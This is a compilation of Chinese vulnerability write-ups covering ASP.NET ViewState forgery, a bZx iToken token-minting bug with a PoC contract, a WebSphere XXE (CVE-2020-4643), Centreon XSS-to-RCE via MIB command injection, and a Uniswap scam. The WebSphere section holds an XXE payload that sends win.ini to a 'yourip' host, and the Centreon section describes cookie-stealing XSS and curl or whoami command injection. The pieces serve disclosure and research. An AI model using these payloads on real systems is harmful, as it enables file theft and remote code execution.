应当分别是网站集路径和网站集合名称。除此之外也可以从页面中的隐藏字段"__VIEWSTATEGENERATOR" 中提取。便如下图:
"__VIEWSTATEGENERATOR" 与 pageHashCode 的关系在这里:
再看ViewStateUserKey 的来历:
按照官方说法:ViewStateUserKey 即 :在与当前页面关联的ViewState 变量中为单个用户分配标识符。
可见,ViewStateUserKey 是一个随机字符串值,且要保证与用户关联。如果网站使用了ViewStateUserKey,我们应当在SessionID 或 cookie 中去猜。在CVE-20202-0688 中,便是取 SessionID 作为ViewStateUserKey。
8. 伪造ViewState
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。
- 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
- 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。
换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。
9.附录:
[1] ysoserial.net
https://github.com/pwntester/ysoserial.net
[2] viwgen (python 写的viewstate生成工具,不依赖.NET,方便自动化脚本使用)
https://github.com/0xacb/viewgen
[3] 什么是View State 及其在ASP.NET中的工作方式
https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/
[4] 微软官方文档:ASP.NET服务器控件概述
https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls
[5]《MSDN杂志》文章:ViewState 安全
https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
[6] 安全通告KB2905247
[7] 使用ViewState
http://appetere.com/post/working-with-viewstate
[8] Exhange CVE-2020-0688
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1386/
-
DeFi 项目 bZx-iToken 盗币事件分析
作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年9月14日发生了什么
iToken是bZx推出的一种代币,今天早些时候,bZx官方发推表示发现了一些iTokens的安全事件,随后有研究员对比iToken合约源码改动,指出其中存在安全问题,可被攻击用于薅羊毛。
什么是iToken
iToken是bZx推出的类似iDAI、iUSDC的累积利息的代币,当持有时,其价值会不断上升。iToken代表了借贷池中的份额,该池会随借贷人支付利息而扩大。iToken同样能用于交易、用作抵押、或由开发人员组成结构化产品,又或者用于安全价值存储。
分析
根据推文指出的代码,问题存在于
_internalTransferFrom
函数中,未校验from
与to
地址是否不同。若传入的
from
与to
地址相同,在前后两次更改余额时balances[_to] = _balancesToNew
将覆盖balances[_from] = _balancesFromNew
的结果,导致传入地址余额无代价增加。12345678910uint256 _balancesFrom = balances[_from];uint256 _balancesTo = balances[_to];require(_to != address(0), "15");uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");balances[_from] = _balancesFromNew;uint256 _balancesToNew = _balancesTo.add(_value);balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时漏洞复现
截取
transferFrom
与_internalTransferFrom
函数作演示,测试合约代码如下:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146pragma solidity ^0.5.0;library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a, "SafeMath: addition overflow");return c;}function sub(uint256 a, uint256 b) internal pure returns (uint256) {return sub(a, b, "SafeMath: subtraction overflow");}function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b <= a, errorMessage);uint256 c = a - b;return c;}function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b, "SafeMath: multiplication overflow");return c;}function div(uint256 a, uint256 b) internal pure returns (uint256) {return div(a, b, "SafeMath: division by zero");}function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b > 0, errorMessage);uint256 c = a / b;// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;}function mod(uint256 a, uint256 b) internal pure returns (uint256) {return mod(a, b, "SafeMath: modulo by zero");}function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b != 0, errorMessage);return a % b;}}contract Test {using SafeMath for uint256;uint256 internal _totalSupply;mapping(address => mapping (address => uint256)) public allowed;mapping(address => uint256) internal balances;event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 amount);constructor() public {_totalSupply = 1 * 10 ** 18;balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return balances[account];}function approve(address spender, uint256 amount) external returns (bool) {require(spender != address(0));allowed[msg.sender][spender] = amount;emit Approval(msg.sender, spender, amount);}function transferFrom(address _from,address _to,uint256 _value)externalreturns (bool){return _internalTransferFrom(_from,_to,_value,allowed[_from][msg.sender]/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?uint256(-1) :allowed[_from][msg.sender]*/);}function _internalTransferFrom(address _from,address _to,uint256 _value,uint256 _allowanceAmount)internalreturns (bool){if (_allowanceAmount != uint256(-1)) {allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");}uint256 _balancesFrom = balances[_from];uint256 _balancesTo = balances[_to];require(_to != address(0), "15");uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");balances[_from] = _balancesFromNew;uint256 _balancesToNew = _balancesTo.add(_value);balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时// handle checkpoint update// uint256 _currentPrice = tokenPrice();// _updateCheckpoints(// _from,// _balancesFrom,// _balancesFromNew,// _currentPrice// );// _updateCheckpoints(// _to,// _balancesTo,// _balancesToNew,// _currentPrice// );emit Transfer(_from, _to, _value);return true;}}remix部署调试,
0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
部署合约,拥有代币总量,授权0x28deb6CA32C274f7DabF2572116863f39b4E65D9
500代币额度通过
0x28deb6CA32C274f7DabF2572116863f39b4E65D9
账户,调用transferFrom
函数,_from
与_to
传入地址0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
,_value
传入授权的500最后查看
0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
地址余额,已增加500额度,超出代币发行总量。综上,恶意用户可创建小号,通过不断授权给小号一定额度,使用小号频繁为大号刷代币,增发大量代币薅羊毛。
总结
针对本次事件,根本原因,还是没做好上线前的代码审计工作。由于区块链智能合约的特殊性,智能合约上线前务必做好完善的代码审计、风险分析的工作。
另外通过github搜索到其他项目也同样存在这个问题,务必提高警惕。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。欢迎扫码咨询:
参考
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1334/
-
WebSphere XXE 漏洞分析(CVE-2020-4643)
作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日2020年9月17日,IBM发布了一个WebSphere XXE漏洞公告。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。
补丁
先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:
可以看出这里是修复了一个XXE漏洞,但是这只是一个Utils,我们找到的那个XXE刚好也用了这个Utils。
漏洞分析
最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。
在
com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject
中:123456789101112131415161718192021222324252627private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {try {in.defaultReadObject();......this.ivStatelessSession = in.readBoolean();ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return Thread.currentThread().getContextClassLoader();}});this.ivBeanClassName = in.readUTF();this.ivHomeClass = loader.loadClass(in.readUTF());this.ivRemoteClass = loader.loadClass(in.readUTF());if (!this.ivSession) {this.ivPKClass = loader.loadClass(in.readUTF());}this.ivHomeHandle = (HomeHandle)in.readObject();EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了} catch (IOException var6) {throw var6;} catch (ClassNotFoundException var7) {throw var7;}}com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome
如下:1234567891011121314151617181920212223242526272829public EJBHome getEJBHome() throws RemoteException {if (this.ivEjbHome == null) {NoSuchObjectException re;......InitialContext ctx;try {if (this.ivInitialContextProperties == null) {ctx = new InitialContext();} else {try {ctx = new InitialContext(this.ivInitialContextProperties);} catch (NamingException var5) {ctx = new InitialContext();}}this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制} catch (NoInitialContextException var6) {Properties p = new Properties();p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");ctx = new InitialContext(p);this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);}......return this.ivEjbHome;}如果是sdk低版本,直接就是外部加载factory rce利用了,但是天不随人愿,如果这么容易就不会有CVE-2020-4450那种复杂的利用了。
接下来就只能一个一个看本地的factory了,也不多大概几十个,一个一个看吧。在
com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance
中,找到了那个XXE:123456789101112131415161718192021222324252627282930313233343536public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {Object instance = null;if (refObject instanceof Reference) {Reference ref = (Reference)refObject;RefAddr addr = ref.get("service classname");Object obj = null;if (addr != null && (obj = addr.getContent()) instanceof String) {instance = ClassUtils.forName((String)obj).newInstance();} else {addr = ref.get("WSDL location");if (addr != null && (obj = addr.getContent()) instanceof String) {URL wsdlLocation = new URL((String)obj);addr = ref.get("service namespace");if (addr != null && (obj = addr.getContent()) instanceof String) {String namespace = (String)obj;addr = ref.get("service local part");if (addr != null && (obj = addr.getContent()) instanceof String) {String localPart = (String)obj;QName serviceName = QNameTable.createQName(namespace, localPart);Class[] formalArgs = new Class[]{URL.class, QName.class};Object[] actualArgs = new Object[]{wsdlLocation, serviceName};Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);instance = ctor.newInstance(actualArgs);//调用了Service构造函数}}}}addr = ref.get("maintain session");if (addr != null && instance instanceof Service) {((Service)instance).setMaintainSession(true);}}return instance;}com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName)
,在构造函数中:1234567891011121314151617181920212223242526272829303132333435363738public Service(URL wsdlLocation, QName serviceName) throws ServiceException {if (log.isDebugEnabled()) {log.debug("Entry Service(URL, QName) " + serviceName.toString());}this.serviceName = serviceName;this.wsdlLocation = wsdlLocation;Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;if (def == null) {Document doc = null;try {doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析} catch (Exception var8) {FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));}try {WSDLFactory factory = new WSDLFactoryImpl();WSDLReader reader = factory.newWSDLReader();reader.setFeature("javax.wsdl.verbose", false);def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据if (cachingWSDL) {cachedWSDL.put(wsdlLocation.toString(), def);}} catch (Exception var7) {FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));}}this.initService(def);if (log.isDebugEnabled()) {log.debug("Exit Service(URL, QName) ");}}com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)
之后,会调用到一个com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions
:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);WSDLFactory factory = this.getWSDLFactory();Definition def = factory.newDefinition();if (this.extReg != null) {def.setExtensionRegistry(this.extReg);}String name = DOMUtils.getAttribute(defEl, "name");String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");NamedNodeMap attrs = defEl.getAttributes();if (importedDefs == null) {importedDefs = new Hashtable();}if (documentBaseURI != null) {def.setDocumentBaseURI(documentBaseURI);((Map)importedDefs).put(documentBaseURI, def);}if (name != null) {def.setQName(new QName(targetNamespace, name));}if (targetNamespace != null) {def.setTargetNamespace(targetNamespace);}int size = attrs.getLength();for(int i = 0; i < size; ++i) {Attr attr = (Attr)attrs.item(i);String namespaceURI = attr.getNamespaceURI();String localPart = attr.getLocalName();String value = attr.getValue();if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {if (localPart != null && !localPart.equals("xmlns")) {def.addNamespace(localPart, value);} else {def.addNamespace((String)null, value);}}}for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));} else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {def.setDocumentationElement(tempEl);} else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {def.setTypes(this.parseTypes(tempEl, def));} else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {def.addMessage(this.parseMessage(tempEl, def));} else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {def.addPortType(this.parsePortType(tempEl, def));} else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {def.addBinding(this.parseBinding(tempEl, def));} else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {def.addService(this.parseService(tempEl, def));} else {def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));}}this.parseExtensibilityAttributes(defEl, Definition.class, def, def);return def;}com.ibm.wsdl.xml.WSDLReaderImpl#parseImport
:123456789101112131415161718192021222324252627282930313233343536protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {Import importDef = def.createImport();String locationURI;try {String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性String contextURI = null;if (namespaceURI != null) {importDef.setNamespaceURI(namespaceURI);}if (locationURI != null) {importDef.setLocationURI(locationURI);if (this.importDocuments) {try {contextURI = def.getDocumentBaseURI();Definition importedDef = null;InputStream inputStream = null;InputSource inputSource = null;URL url = null;if (this.loc != null) {inputSource = this.loc.getImportInputSource(contextURI, locationURI);String liu = this.loc.getLatestImportURI();importedDef = (Definition)importedDefs.get(liu);if (inputSource.getSystemId() == null) {inputSource.setSystemId(liu);}} else {URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;url = StringUtils.getURL(contextURL, locationURI);importedDef = (Definition)importedDefs.get(url.toString());if (importedDef == null) {inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了......xml payload:
123456789101112xml如下:<!DOCTYPE x [<!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">%bbb;]><definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">&ddd;</definitions>xx.dtd如下:<!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;最后
我们只看了浮在表面上的一些地方,人工最多只看了两层调用,也许RCE隐藏在更深的地方或者知识盲点现在没找到呢,还是得有个属于自己的能查找链的工具,工具不会累,人会。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1342/
-
代码审计从0到1 —— Centreon One-click To RCE
作者:huha@知道创宇404实验室
时间:2020年8月26日前言
代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[1]的审计过程进行一次复盘记录,文中提及的漏洞均已提交官方并修复。
概述
Centreon(Merethis Centreon)是法国Centreon公司的一套开源的系统监控工具 。该产品主要提供对网络、系统和应用程序等资源的监控功能。
网站基本结构
源代码目录组成
centreon/www/
网站根目录centreon/www/include/
核心目录结构概述一下
centreon/www/index.php
是网站的入口文件,会先进行登录认证,未登录的话跳转进入登录页,登录成功后进入后台centreon/www/main.php
与centreon/www/main.get.php
,对应PC端与移动端的路由功能,根据不同的参数,可以加载到后台不同的功能页面,在实际调试的过程,发现使用main.php加载对应的功能页时,最终会调用main.get.php,所以路由部分直接看main.get.php即可entreon/www/include/
目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问,有些则需要通过main.get.php页面进行路由访问centreon/www/api/
目录下的index.php是另一处路由功能,可以实例化centreon/www/api/class/*.class.php
、centreon/www/modules/
、centreon/www/widgets/*/webServices/rest/*.class.php
、centreon/src/
中的类并调用指定方法
在审计代码的时候,有两个要关注点:
- 重点审查
centreon/www/include/
和centreon/www/api/class
/两个目录,因为这些目录下的功能点可以通过centreon/www/main.php
或centreon/www/api/index.php
路由访问 - 重点寻找绕过登录认证或者越权的方式,否则后台漏洞难以利用
代码分析
如下简要分析
centreon/www/
目录下的部分脚本index.php
index.php会进行登录认证,检查是否定义$_SESSION["centreon"]变量,这个值在管理员登录后设置。程序登录有两种方式,使用账密或者token,相关逻辑在
/centreon/www/include/core/login/processLogin.php
中。不止index.php,centreon/www/include/
下大部分功能页都会检查session,没有登录就无法访问main.get.php
这是主要的路由功能,程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理,编码特殊字符,有效地防御了一些XSS,比如可控变量在引号中的情况,无法进行标签闭合,无法逃逸单引号
对_POST中的指定参数,进行过滤处理,对数据类型进行限制,对特殊字符进行编码
最终_POST数组赋值到$inputs数组中
全局过滤数据后,程序引入公共类文件和功能代码
99行session取出,认证是否登录
通过登录认证后,程序会查询数据库,获取page与url的映射关系,程序通过p参数找到对应的url,进行路由,映射关系如下
接着248行
include_once $url
,引入centreon/www/include/
下对应的脚本这里将page与url映射关系存储到本地,方便后续查询
api/index.php
这是另外一个路由功能
同样需要验证登录,104行$_SERVER['HTTP_CENTREON_AUTH_TOKEN']可以在请求头中伪造,但是并不能绕过登录,可以跟进查看CentreonWebService::router方法
在
\api\class\webService.class.php
,其中action参数可控311行判断isService是否为true,如果是,dependencyInjector['centreon.webservice']->get(object)
313行centreon.webservice属性值如下,对应的是centreon/src目录下的类
$webServicePaths变量包含以下类路径
接着346行检查类中是否存在对应方法,在374行处调用,但是在350~369进行了第二次登录认证,所以之前$_SERVER['HTTP_CENTREON_AUTH_TOKEN']伪造并没能绕过登录
过滤处理
除了main.get.php开头的全局过滤操作,程序的其他过滤都是相对较分散的,对于SQL注入的话,程序的很多查询都使用了PDO进行参数化查询,对于PDO中一些直接拼接的参数,则单独调用某些函数进行过滤处理。比如下边这里进行数据库更新操作时,updateOption()会进行query操作,$ret["nagios_path_img"]可控,但是这里调用escape()函数进行转义
路径限制
不通过路由功能,直接访问对应路径的功能代码,大部分是不被允许的,比如直接访问generateFiles.php页面
可以看到39行检查oreon参数,这就是为什么要通过main.get.php去访问某些功能点。当然有一些漏网之鱼,比如rename.php页面,这里只是检查session是否存在,在登录状态下,可以通过路径直接访问该页面。
One-click To RCE
XSS
在上一节的最后,为什么要纠结通过路径访问还是路由访问呢?因为通过main.get.php中的路由访问的话,会经过全局过滤处理,直接通过路径访问则没有,这样就有了产生漏洞的可能,通过这个思路可以找到一个XSS漏洞,在rename.php中程序将攻击者可控的内容直接打印输出,并且没有进行编码处理,缺乏Httponly与CSP等的攻击缓存机制,当管理员点击精心构造的链接时,将触发XSS执行任意js代码,导致cookie泄露。
漏洞分析
漏洞入口
centreon/include/home/customViews/rename.php
前边也提到,46行验证session是否存在,所以受害者只要处于登录状态即可,59行echo直接打印_REQUEST)返回的值,rename函数中对params['newName'],因为直接通过路径访问,没有经过任何过滤处理
所以elementId控制为title_1(任意数字),设置newName为script标签即可
授权RCE
程序在使用perl脚本处理mib文件时,没有对反引号的内容进行正确的过滤处理,攻击者利用XSS窃取的凭证登录后,可上传恶意文件导致远程代码执行,即One_click to RCE
漏洞分析
可以顺着CVE-2020-12688[2]的思路,全局搜索"shell_exec("关键字符串, formMibs.php调用了该函数
查看源码,38行执行了shell_exec(command从form),打印$form方便调试
之前记录的page与url的映射关系现在就可以派上用场了,设置page为61703,通过main.php或main.get.php可以路由到formMibs.php,也就是下边的文件上传功能
调试发现formMibs.php中31行的manufacturerId可以通过上传数据包中mnftr字段修改,但是被filter_var()处理,只能为整数
虽然缓存文件名是不可控的,但是上传的mib文件内容可控,shell_exec()中执行的命令实际为("xxx.mib"代表缓存文件名)
1/usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1centFillTrapDB是一个perl脚本,代码在/bin/centFillTrapDB中,用use引入centFillTrapDB模块
use命令寻找的路径默认在@INC下,但不知道具体在哪里,可以全局搜索一下
最后在usr/share/perl5/vendor_perl/centreon下找到script目录,有我们想要的文件
把centFillTrapDB模块拉出来静态看一下,发现存在命令执行且内容可控的位置,实际调试发现最终分支是进入541行,540行和543行是我添加的调试代码
在perl中反引号内可以执行系统命令,534行trap_lookup可控,对于mib文件来说,{IFS}代替
为了方便构造mib文件,打印出反引号中的命令,并在服务器shell中进行测试
构造/tmp/1.mib文件
命令行执行
1centFillTrapDB -f '/tmp/1.mib' -m 3 --severity=info 2>&1可以清晰的看到command,并且执行了curl命令
修改mib文件中的命令,在浏览器上传进行测试,成功执行whoami并回显
审计总结
文本主要分享了一些白盒审计思路,但就像之前所说的,审计的思路往往是多种多样的,以下是个人的小小总结:
- 分析历史漏洞,在复现和调试的过程中,可以比较快的了解这个框架的结构,也可以从历史漏洞中获取思路,举一反三
- 黑盒审计,开启抓包工具,测试可疑的功能点并观察数据包,这样可以加快对网站路由的熟悉,也可以快速的验证一些思路,排除一些可能性,仍然存疑的功能点可以在白盒审计时进一步确认;
- 白盒审计,入口脚本,路由方式,核心配置,常用功能模块和数据验证过滤操作,这些都是要留意的,当然最主要还是看入口,路由和数据过滤验证的部分;其他的如核心配置,常用功能模块,可以按需查看,大概了解了网站架构就可以开始看对应的功能代码了,看的时候可以分两个角度:一个就是从刚才黑盒测试遗留的可疑点入手,断点功能代码,审查是否存在漏洞;另一个就是从敏感关键字入手,全局搜索,溯源追踪。
- 注重不同漏洞的组合攻击,无论是这次的Centreon One_click to RCE漏洞,还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE,打的都是一套组合拳,在漏洞挖掘的过程可以多加关注
参考链接
[1] Centreon V20.04
https://github.com/centreon/centreon/releases/tag/20.04.0
[2] CVE-2020-12688漏洞公开细节
https://github.com/TheCyberGeek/Centreon-20.04
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1313/
-
Defi?Uniswap 项目漏洞教程新骗局
作者:极光 @ 知道创宇404区块链安全研究团队
时间:2020年8月31日前言
昨晚突然看到群里的一个消息,
揭秘uniswap-defi项目漏洞-割韭菜新手法
,心想还有这事?而且还是中英文介绍。到底什么是
DeFi
?,网络上有很多关于DeFi
的定义,目前通用的定义是这样的:DeFi是自己掌握私钥,以数字货币为主体的金融业务
这个定义包含三个层面的意思:- 自己掌握私钥
- 以数字货币为主体
- 金融业务
DeFi是Decentralized Finance(去中心化金融)的缩写,也被称做Open Finance。它实际是指用来构建开放式金融系统的去中心化协议,旨在让世界上任何一个人都可以随时随地进行金融活动。
在现有的金融系统中,金融服务主要由中央系统控制和调节,无论是最基本的存取转账、还是贷款或衍生品交易。DeFi则希望通过分布式开源协议建立一套具有透明度、可访问性和包容性的点对点金融系统,将信任风险最小化,让参与者更轻松便捷地获得融资。
几年前区块链行业还没有
DeFi
这个概念,从默默无闻,一跃成为区块链行业的热门话题,DeFi
只用了短短几年时间。Uniswap
作为完全部署在以太坊链上的DEX平台,促进ETH和ERC20 代币数字资产之间的自动兑换交易,为DeFi
发展提供了良好的支持。作者抓住当下区块链热门话题
DeFi
作为文章主题介绍如何利用uniswap-defi项目漏洞
割韭菜。很显然经过精心思考。分析
打开教程链接,原文教程提醒
1Full open source code----only for research and testing, don't cheat using this method作者特别提醒:完全开放源码----仅用于研究和测试,不要使用这种方法作弊。
教程中提到合约代码可以在如下链接下载
12Click to enter edit mode and copy the code into it(download address of the contract code:https://wwr.lanzous.com/i4MJOg6f2rg)根据教程提供的链接,下载代码查看
首先看到
onlyOwner
函数,而且条件判断中的address是硬编码的,这里说一下以太坊中的地址- 以太坊地址
以太坊中的地址的长度为20字节,一字节等于8位,一共160位,所以address其实亦可以用uint160来声明。以太坊钱包地址是以16进制的形式呈现,我们知道一个十六进制的数字占4位,160 / 4 = 40,所以钱包地址ca35b7d915458ef540ade6068dfe2f44e8fa733c的长度为40。
很明显,攻击者特意使用uint160来编码地址,起到了障眼法作用。如果不认真看,不会注意到这个address函数转换后的地址。
通过对地址进行转换
即:
address(724621317456347144876435459248886471299600550182)
对应地址:0x7eed24C6E36AD2c4fef31EC010fc384809050926
,这个地址即位合约实际控制账户地址。继续往下看原文教程
首先部署合约
然后添加到
Uniswap v1
资金池这里介绍下
Uniswap
- Uniswap V1
Uniswap V1基于以太坊区块链为人们提供去中心化的代币兑换服务。Uniswap V1提供了ETH以及ERC20代币兑换的流动性池,它具有当前DeFi项目中最引人注目的去中心化、无须许可、不可停止等特性。
Uniswap V1实现了一种不需要考虑以上特点的去中心化交易所。它不需要用户进行挂单(没有订单),不需要存在需求重叠,可以随买随卖。得益于 ERC20 代币的特性,它也不需要用户将资产存入特定的账户。Uniswap V1模型的优点在于根据公式自动定价,通过供需关系实现自动调价。
Uniswap V1的运行机制的关键在于建立了供给池,这个供给池中存储了 A 和 B 两种货币资产。用户在用 A 兑换 B 的过程中,用户的 A 会发送到供给池,使供给池中的 A 增多,同时,供给池的 B 会发送给用户。这里的关键的问题在于如何给 A 和 B 的兑换提供一个汇率(定价)。 Uniswap V1定价模型非常简洁,它的核心思想是一个简单的公式 x * y = k 。其中 x 和 y 分别代表两种资产的数量,k 是两种资产数量的乘积。
